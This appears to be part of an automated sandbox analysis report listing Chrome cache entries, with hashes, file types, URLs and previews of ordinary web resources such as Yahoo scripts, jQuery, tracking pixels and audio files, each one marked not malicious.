Category:	dropped
Size (bytes):	18951
Entropy (8bit):	7.977240530623438
Encrypted:	false
SSDEEP:	384:BHKpUckC5FLP4WpuMk4fHQSmKSblnKeFUgbySPI4ZlyHjyD0oYkk9c2:BPckC5FLPhgvChhalXtbblyHSY1p
MD5:	8330A8DD089CB244B98D55B7B371DADB
SHA1:	EC3690E7B5A95E60E78C0D7AC3FA419F40FB7437
SHA-256:	9E2CE076A47034B7E448B9BD7981785C4D1619D8EB4B7198BB996D5FEA639151
SHA-512:	4E9F3756ADEE5B9BF4F194437ADEEBC46AB5C9A1FE979E0096F5A3EC8A799825CBFB7C0FFBFAEC31DD932A9E34A2D4435721E6B2EBB654A816DF5DCEC90443FA
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................d............................................S..........................!.1AQ.."aq.#2...$34BRbr.....Cs..DSc.....%5....&6T.E.....................................2........................!1.."#3Aq..24a.$Q.%5.B.R............?...\|b..A.7...a.;..N..\]..o.%Q.\.8RSfox..'.r......=..5P.^.H`..,......G.0.jMN.......).n.4....X..d.>...b.2.}A.K...jk .r.....jjGy....o..?..>.\|..D.~..Q....5.%.F5....e.>...:..2.C."R...O..1..I.......D.a..8..[...ps..5......>.9.G..O<...x."V.P..8.qi..^.....N..\..U.i.M.v...7M:.....\|.Z..@x8Yo0...q.tC}.=p'.pTp6...[...\.U..../.b....c.G.....=a.+>....}?.?.>.tp..{..t.,.>.E.+%Qe...(.j..V:..c.s.\|..<.c".....R1E<..D...FK].V...?r.}B..H..KrA..F.p.....TL.k....W....I...........T..Ax.tn....v..<.2....d.j:l....(...o.PA.\|\L...2f..pU...E.$..Gp.B...J..H)....M.7....k....w.5..<i..\|....(.4p..1.......#.....

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3412), with no line terminators
Category:	downloaded
Size (bytes):	3412
Entropy (8bit):	5.0908215241003845
Encrypted:	false
SSDEEP:	48:YozhSx5M2PjYJakqOPyGbmq1Tk0GGbLq12k0yXD0THZHL2yVLT4hk14yIJZFOtkK:3hqjg8q1Tr9q12ryw1L2UPq1ktkNCYc
MD5:	956DABF4D28930BC42D934995B814D6D
SHA1:	D461E2FAB9B3E6F89561FEB5C2A5CBBB26198951
SHA-256:	CA9998A600267DC2431ABC077F8CF7A5476A46EE1E82D0C6F12BB17E512C3FE8
SHA-512:	6A98F3C8201E544DB161FA89E8A434B35B179F7D33446247B13EA08B43A7E79D44025524AEFDE0215827B2B2B95F8AC349712DCA00AA3073DDF2C4EE11B9F710
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-text-1.2.0-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-text",[],t):"object"==typeof exports?exports["wafer-text"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-text"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(o){if(r[o])return r[o].exports;var n=r[o]={i:o,l:!1,exports:{}};return e[o].call(n.exports,n,n.exports,t),n.l=!0,n.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,o){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:o})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, WAVE audio, IEEE Float, stereo 44100 Hz
Category:	downloaded
Size (bytes):	80336
Entropy (8bit):	7.269936136252251
Encrypted:	false
SSDEEP:	1536:SeUkTzc2ZSN8XQ9NbA2PentRJ2wADNXh/xuEU0bI799K:S9wzBZw8XQP5WSNXh/I0Iy
MD5:	F536E8F265FBBD76A5F7B9FC0EA0AD69
SHA1:	8DB474F6CA6E7548D47CC3B078E66ABDD5719066
SHA-256:	63678162CB830AFBA8013A29BE9148C72C3DD90561F1B0E7A3CDFBFD883912D6
SHA-512:	2D8D79BF7DD4DDD61B871B3E54E61972CFD2CAD17F11865707E006A4F9FFADA7B9B2524A1F7CE056AEFD2B36E43264A813FD9ECE00B3182D034AEE5FB84A75D0
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/pv/static/misc/voice-result-202105050733.wav:2f6d360df5ac1d:0
Preview:	RIFF.9..WAVEfmt ........D... b.... .dataH...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.403989446485262
Encrypted:	false
SSDEEP:	3:YBE+dmYn:Yvvn
MD5:	031A8B6F8BAEA1DF8DA69CAFED49D579
SHA1:	BA6C224B8AC88AD4368A30775BBD4CBAD9BE3BA5
SHA-256:	E5C0644466F49DFB193A225E813EB639BD14B0933EAA4CF457688BA716D49D95
SHA-512:	5B70D7F4F7B5A20657E835AEC1698BE17949EBA4E9B68E4DADD13B5BE9328A602CA815C9AD9CC6205F291199E18E7237CB4512CC840904F65AC4162F388B5801
Malicious:	false
Reputation:	low
Preview:	{"data":[],"meta":{}}

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	281
Entropy (8bit):	5.233913935506896
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsLEwK4LzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4L994xYqJmWeV4IQL
MD5:	66D1BB3159B83CB2BE9ED066165E4C38
SHA1:	FF0D58E13E55067882F7BFFED31A1D8970FD6401
SHA-256:	3FDF2EE487005F6505D00CC9D7A3757A1942D56BCAEA69929CBD5BA110494390
SHA-512:	F55E4F9C1CEA37771D93B79F5B50295C0D25B93E7E41DBCECAD0795A96673793723A2A08DCFE5023972C5EF047FBB5FC11F4F3AB88F1018C14990590DF187B31
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=medianet
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright the Rubicon Project 2020 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, WAVE audio, IEEE Float, stereo 44100 Hz
Category:	downloaded
Size (bytes):	189160
Entropy (8bit):	7.422217355234855
Encrypted:	false
SSDEEP:	3072:e9wzBZw8XQP5WSNXh/gxEuIwb26S+Q8A89FVA4CmtB59JtjIcAqOCJxoHStwNp+b:rw8gP5WStapIO2j+PA8bPJXfx2SGsTH
MD5:	8ABFE6DFA7B0D9A5A4B7268155054740
SHA1:	FE841D96C94923C7732014A81BCB574FE2C10584
SHA-256:	75799B61C8D93B46365AE3A603EF508ACEE921ADBF2ABF4ADA583FC4E0E4BB82
SHA-512:	A6A475C64D5E0BC3CB94BD38B38DA66F5B4470F50738286F2D42030D2E32EF15D6C795DFA8DA36502E536819DABABE9386CA7419F2C6CB0E8580053ACE1166D4
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/pv/static/misc/voice-start-202105050733.wav:2f6d360dee17b1:0
Preview:	RIFF....WAVEfmt ........D... b.... .datah...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32058)
Category:	downloaded
Size (bytes):	86659
Entropy (8bit):	5.36781915816204
Encrypted:	false
SSDEEP:	1536:YNhEyjjTikEJO4edXXe9J578go6MWX2xkj8e4c4j2ll2AckaXEP6n15HZ+FhFcQ7:uxc2yjx4j2uX/kcQDU8Cu9
MD5:	C9F5AEECA3AD37BF2AA006139B935F0A
SHA1:	1055018C28AB41087EF9CCEFE411606893DABEA2
SHA-256:	87083882CC6015984EB0411A99D3981817F5DC5C90BA24F0940420C5548D82DE
SHA-512:	DCFF2B5C2B8625D3593A7531FF4DDCD633939CC9F7ACFEB79C18A9E6038FDAA99487960075502F159D44F902D965B0B5AED32B41BFA66A1DC07D85B5D5152B58
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js
Preview:	/! jQuery v3.2.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8761), with no line terminators
Category:	downloaded
Size (bytes):	8761
Entropy (8bit):	5.188229448575508
Encrypted:	false
SSDEEP:	192:/ZtSSViMOpQGb9yjWipq4Z8Yib8Py50D3X2neFaY5E6ZYrlfxByn:/rs4Q9egLey5uAHjrlf2n
MD5:	D93566E675193D1FABA732F90A8ABF25
SHA1:	123C652BD26B1ECC8FA85ABAFC1E1BC797319E88
SHA-256:	AD6595A228C4C44944899387B3B10D039A0B32881EFC21C184849991064CF4D0
SHA-512:	BBCB096C3493FA20323DFEBD60A995FEC830526EBA3E37FD61CEE5083653491FD3A57B42E629B0C373741AE1C779A7A36A1E80F54E96C91E60AB5378FCC82D92
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-sticky-1.2.5-modern.js
Preview:	!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-sticky",[],e):"object"==typeof exports?exports["wafer-sticky"]=e():(t.wafer=t.wafer\|\|{},t.wafer.wafers=t.wafer.wafers\|\|{},t.wafer.wafers["wafer-sticky"]=e())}("undefined"!=typeof self?self:this,function(){return function(t){function e(i){if(o[i])return o[i].exports;var r=o[i]={i:i,l:!1,exports:{}};return t[i].call(r.exports,r,r.exports,e),r.l=!0,r.exports}var o={};return e.m=t,e.c=o,e.d=function(t,o,i){e.o(t,o)\|\|Object.defineProperty(t,o,{configurable:!1,enumerable:!0,get:i})},e.n=function(t){var o=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(o,"a",o),o},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="https://s.yimg.com/aaq/wf/",e(e.s="./src/entry.js")}({"./src/entry.js":function(t,e,o){"use strict";function i(t){if(Array.isArray(t)){for(var e=0,o=Array(t.length);e<t.length;e++)o[e]=t[e];return o

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.6751884828081955
Encrypted:	false
SSDEEP:	3:YQ3/eHijGWcoHIRktR2GgcdoQm3wWLW6n:YQ3LG0Mxc23wMW6
MD5:	E0566EBC5B80408D0FF9C40BF39B0944
SHA1:	777B5D5C20C6E0AED78B879B43827EB4AEB6332C
SHA-256:	767D2A2EC43FF606AB2E9CD6908E41E1D488FCF0507830B4E2F9FFAD01E4A4DB
SHA-512:	BDD87CF2446CCFA4FAC423E8A30D0E206D7246A34C8BC2551AC753AF86D55A76AEBE5970E5B5D858A0EB73A553382600E2E80F1D6B916B9B74399B7721389A3C
Malicious:	false
Reputation:	low
Preview:	{"user":{"id":"53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51","isNewUser":false}}

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17585)
Category:	downloaded
Size (bytes):	17624
Entropy (8bit):	5.34246594200854
Encrypted:	false
SSDEEP:	384:tvrz/PNUlcJ1nFARibiMVt3qEQRAXz8KLMOKPvdXkLmHG27I2hlHA3hisavKfsl:NHCMFARitV1qEQROz8KLM5PVUSHG27Ic
MD5:	946C2DA0001345C6100BC419DEB301D7
SHA1:	10515D689EF897A5EE3228B31622C49DE484110D
SHA-256:	F109F14C04F73B5EBEA512C9710702C15D7B3E0A9DC05AA050279E8F7E9E753B
SHA-512:	3181126691841C09647E754A97747A17820BA76CB8BE9C9F0063605AC556135C2C792A457B100A15E22E12320E7F6C2A07697A672BE4357BF52B0E986EA51BBB
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/scp/js/fpDesktop.946c2da0001345c6100bc419deb301d7.js
Preview:	!function(){"use strict";var e=window.wafer,t=e.base\|\|{};function n(n,o){if(e)return o=o\|\|{},e.utils.elementInView(n,o,t.viewport)}function o(e,t,n,o,i){return{clean:t,dest:n,h:i,metaSize:!0,pos:e,supports:!1,w:o}}var i={context:{bucket:"",bucketId:"",device:"",intl:"",lang:"",meta:{},mode:"normal",region:"",rid:"",site:""},i13n:{}},a=["MAST","LDRB"],r=function(){var e,t,r,s,l,d=window,c=document,u=d.adsConfig,f=d.YAHOO,v=void 0===f?i:f,m=d.DARLA,p=void 0===m?null:m,h=d.wafer,g={},w="adRotateEvt",b="scroll",E="homepage-viewer",A="sda-",L="sticky-lrec2-footer",C=A+"LREC4",y=A+"MON2",x="2023538075",O="native-leaderboard-ad",R="gemini-ad-refresh",B=!1;function D(){var o;if(u&&(t=u.rotation)&&(null===(o=null==u?void 0:u.positions)\|\|void 0===o?void 0:o[t.currentpos]))if(u.clientPositionMeta.positions.forEach((function(e){g[e.id]=e})),s=g[t.currentpos],p)if(t.enableNavAdRotation&&h.on("fetch:success",(function(e){e.elem.classList.contains("nextgen-page-navigation")&&function(e){var t=d._darl

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 240 x 34, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2331
Entropy (8bit):	7.732123200569469
Encrypted:	false
SSDEEP:	48:HCPVHbdLb/levTWdqgmGYDQpuYpdKqLxoh5F:HCNHxL4O0QpXKqOt
MD5:	D0E45188F6A8F2E8F2528E762FE55D33
SHA1:	42A007181ABDADCC4C79D03D74B08F39DDDC5127
SHA-256:	DEB2DC4C95EA5B692229713672E7AEAE32B3914BAFCD63F926116D6637BD1976
SHA-512:	0FD2F174A63472217D8BC23DE69DCBCAA1A583DED45152430D1A5BA455F6B1F360815DB34B5C8F96DA7DAAE232DB52197775F7F50955F497D6B664EB93B58800
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......".....V}.....{PLTE............................................................................................................................x.....(tRNS....!.k6...L........)....Y..D..q>.wdS_._.D...'IDATh..Y.0.M............!.^..z.....&.d.......,...@.....m.&x..l....M.-.k4....kZa.........Y..F....=I..jx.C..H..W......e....o.oO.\|..D..?#.D.{~..own...S.........7..K.....<...nA..~.8."q.@....C2...j...>..t}....(..M..@^....a..x..~J8.n{.G..b$..m_%.Y.........X.X)..Y.b.qk..].....`z...1=...vu..dj..7c').h....L..0.+eBC...S.....jyzb.\.........3G1K..`..{Kl..{_%....F.....g....h.)n..F...-&...K....)6...hV.e.#3.N..O,.....~'..s....SZ..!.).0..u.....v.1.....<...F...O.O...@....Bk.j.8[.D.4Y.5...h.-..:dAIzn.)>...\..1.....s.#[.{.....}.+.3....T.w..F.#.aaa.....7.5..QR...Q....].#..n....R..`,q...n..B:..4...=.w.../..fNN...<.P..j.U...D...c.T.(.R.X8..~el..>.h.]]5\....6.-...9#.$.:..a6..1.U..`L.4.%...v....+D.eN.znm....v...H..T....o...;)X.\..0...x..5}B...Q.

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2039
Entropy (8bit):	7.886592553906477
Encrypted:	false
SSDEEP:	24:HrqEcuJLpPVF3kFmMzWTcm1bKylqS3OBDeo4wI4s80bjY9i26zZy4K7vK+iLe7VH:HemJBvgmMIbhQl9sfW0AvTbYC5zz/dl3
MD5:	AD9A7B6ADB52CD97851D9D6CC6A97021
SHA1:	66430D6D405A5B6EEF54855757A2687A81F7DE58
SHA-256:	6A5313150960D131D6B674F461A69A5A08B8F3B0EE13B1F96235B38EAA2DEF6C
SHA-512:	6887CD08B6852C197D01E2677FFCD6DB4E18E70C545C9C56F41E534E61A188D3A813117E4C4D080427E59ACCC4C03EC76C1DE2AE468D226090B56D7BA6C49A2F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2......?......pHYs..........&.?....tIME.....5.u.2.....IDATh..Z.T.i..%.V.ef....a.2e7B.c.}-Lc_&.43.......QhDvJ..1.L.AT..4L.p........{+.......=..}....W.j..!.:...."..yw..<....._......^D...9....."...V.d......4i.Z.i.$v&.....7......+7..co.\..-4w.m&.i.ug.5.@..\..]7.T....mT.i.E>......-.+...6i.5m."L;...k..sW.f.^....J.'..>..F.4...t.P.0[.....H.5.HB....5....-:..9u.t.....q.;.B.l.$...;..g.M....M..wj.1E..7D"...VP...e...p..t..."..i.O.N{$.....v...oB$.....m.....f..aq?3...x]a..FZyH.i..H;.W.....%.....}h....Me..".....vFb.h.....[........m_9..>o.%...u...o$....H..{...b..}F.....h..+...u.A.H3...u..L.H..>x."z...6....i[..\... _.$..7b....9...L_.i ./........L..X. ".' HV".a..{=f.,9Qd..[.+..{..I'...h-.u.....`8b. b..f.[W...Rg/{<.6zq...9.P.S-.u..#Lt..%o5R}F.....<N:.h..1V...r.....x..._Cuxq..T..q...>.U.c.~.CJ.W..}..<"q.S(.L...+iz!b... ..s$5h..dT....+6b1Q...#r.............o.g?..e..+q`.X{.\|.,w.._1"...\.Df.7b.0Q3>.3...(b.n..c...>}~.."...

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	3.0241026136709444
Encrypted:	false
SSDEEP:	3:CUmExltxlNXE:JQ
MD5:	B4682377DDFBE4E7DABFDDB2E543E842
SHA1:	328E472721A93345801ED5533240EAC2D1F8498C
SHA-256:	6D8BA81D1B60A18707722A1F2B62DAD48A6ACCED95A1933F49A68B5016620B93
SHA-512:	202612457D9042FE853DAAB3DDCC1F0F960C5FFDBE8462FA435713E4D1D85FF0C3F197DAF8DBA15BDA9F5266D7E1F9ECAEEE045CBC156A4892D2F931FE6FA1BB
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........2.;

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	48
Entropy (8bit):	5.110902344426086
Encrypted:	false
SSDEEP:	3:YEOBH82zflxbOY:YEOBzfPOY
MD5:	285C22C624B5AFEF23CE290D1AFCF0D3
SHA1:	DAB61A9B4A1C06906B40700174DCCA61E7A20712
SHA-256:	EB96B589E81F13AF10E289BFAB13CCF49AF9459E12E141A76D18C6CC05E7E9A6
SHA-512:	1043C4B947CF39581542430247B73412ACFDA2CD05D9D31E47B0E986084CE7D753994C2AFADF505E0F5BECD549FCECEB18BF93ABC237C9B773CD53EA7A502E56
Malicious:	false
Reputation:	low
URL:	https://ups.analytics.yahoo.com/ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN
Preview:	{"axid": "y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A"}

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1623
Entropy (8bit):	4.922539828264104
Encrypted:	false
SSDEEP:	24:tCbYLdLGSKGQlnGMGlTIqdhg1a4x0KKGSyFzRIS6CPAiIS6iAyt5RbFXZhLHbcmG:DJGSdQMH76k96fLvFXZpHbd3Hcf
MD5:	E36B72CA53187AFF4E7D9D420E97106F
SHA1:	CC0683704AF5E0ED36E69E33796E2BDC1C508FB5
SHA-256:	54BFF4669265C4020E99C360FDBCECAC01E78FB7ECA0869384B74FA4AFA70145
SHA-512:	DA5CE22D33BE9BF2C4AF2BB160783753844DF160260ADC0E7F9F7E4B51037A03F9FD0C222A3C9ABBCB887360D180DD18C353FC909A7A28BA5566B99CEED23BF1
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/weather-svg/RAIN_AND_SNOW.svg
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <path d="M44 15.23c0 8.462-6.77 15.232-15.23 15.232H9.307C4.23 30.462 0 26.23 0 21.154s4.23-9.308 9.308-9.308c1.523 0 3.046.339 4.4 1.185C14.892 5.585 21.154 0 28.769 0 37.231 0 44 6.77 44 15.23z" id="b"/>. </defs>. <g fill="none" fill-rule="nonzero">. <g transform="translate(2 2)">. <use fill="url(#a)" xlink:href="#b"/>. <use fill-opacity=".05" fill="#7DCBFF" xlink:href="#b"/>. </g>. <path d="M27.914 42.972c-.612 2.255-2.858 3.485-4.9 2.87-2.244-.615-3.47-2.87-2.857-4.92C20.565 38.87 25.67 36 25.67 36s2.857 4.921 2.245 6.972zM13.914 42.972c-.612 2.255-2.858 3.485-4.9 2.87-2.244-.615-3.47-2.87-2.857-4.92C6

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2348)
Category:	downloaded
Size (bytes):	6105
Entropy (8bit):	5.437874807472625
Encrypted:	false
SSDEEP:	96:5NcjRhp0zrAPKI1xtOXVy6s9R4Y1CfPDqZaw2PMTBxj6kDxx1vnysfRjUlEYdO6s:5NcjR30zK3ws6s9R4YAfPDhNETflDBy2
MD5:	8E62FBC0AD68AF20BD820DED5B8DE62A
SHA1:	7EB712F30E1355CF59F28033C3F513EE0B5C8981
SHA-256:	367E9BA17BEE1E676E15D01DAA52D8FEC079988777F11440D25CF1710ECDA7EB
SHA-512:	9F3F76B22EC6C27AF29821A8DF0AE0009E63803E95EFF99D9A4E1047FD89A426899B147ACA03C1DBB18CDC529F3E74A31C1AE0B9E77F76E17CFFCD2064EB4827
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/pagead/js/car.js
Preview:	/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 ./ .var f=this\|\|self,h=function(a,c){function b(){}b.prototype=c.prototype;a.D=c.prototype;a.prototype=new b;a.prototype.constructor=a;a.C=function(d,e,g){for(var y=Array(arguments.length-2),l=2;l<arguments.length;l++)y[l-2]=arguments[l];return c.prototype[e].apply(d,y)}},k=function(a){return a};/ . . SPDX-License-Identifier: Apache-2.0 .*/ .function m(a){return Object.isFrozen(a)&&Object.isFrozen(a.raw)}function n(a){return-1===a.toString().indexOf("`")}const p=n(a=>a``)\|\|n(a=>a`\0`)\|\|n(a=>a`\n`)\|\|n(a=>a`\u0000`),q=m``&&m`\0`&&m`\n`&&m`\u0000`;function r(a,c){if(Error.captureStackTrace)Error.captureStackTrace(this,r);else{const b=Error().stack;b&&(this.stack=b)}a&&(this.message=String(a));void 0!==c&&(this.cause=c)}h(r,Error);r.prototype.name="CustomError";function t(a,c){a=a.split("%s");let b="";const d=a.length-1;for(let e=0;e<d;e++)b+=a[e]+(e<c.length?c[e]:"%s");r.call(this,b+a[d])}h(t,r);t.protot

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
URL:	https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&vxii_pid=12&vxii_pid1=10067&vxii_rcid=71a4da1a-bb78-4555-8d0d-3c1aa9d7970e
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4348), with no line terminators
Category:	downloaded
Size (bytes):	4348
Entropy (8bit):	5.175097086994074
Encrypted:	false
SSDEEP:	96:3haIoq1mr8gYdYjeL+Pvq51pNAcllADTyBnmYCoqvpt4bIs:3uuA8gYSjeL+XI1pNZlls+CA3
MD5:	681D57E9E7CBEF5DE44544C13F8CA62E
SHA1:	65CFB6398D61FE7CAC86C90DC042095D8E3CD623
SHA-256:	EF70829B2E58AFC016C35CE9A83E2BB60AD24D6341491686EE168EE71C40123F
SHA-512:	2A131198DBB855882D7C7B687650B57133C4375FCEA4E4A86D338A78DCAEAFC18DC5477593429B6B1A599419F108F4BEBE7588BAE7C7831B5EA87D6C2BDF65C6
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-countdown-1.2.5-modern.js
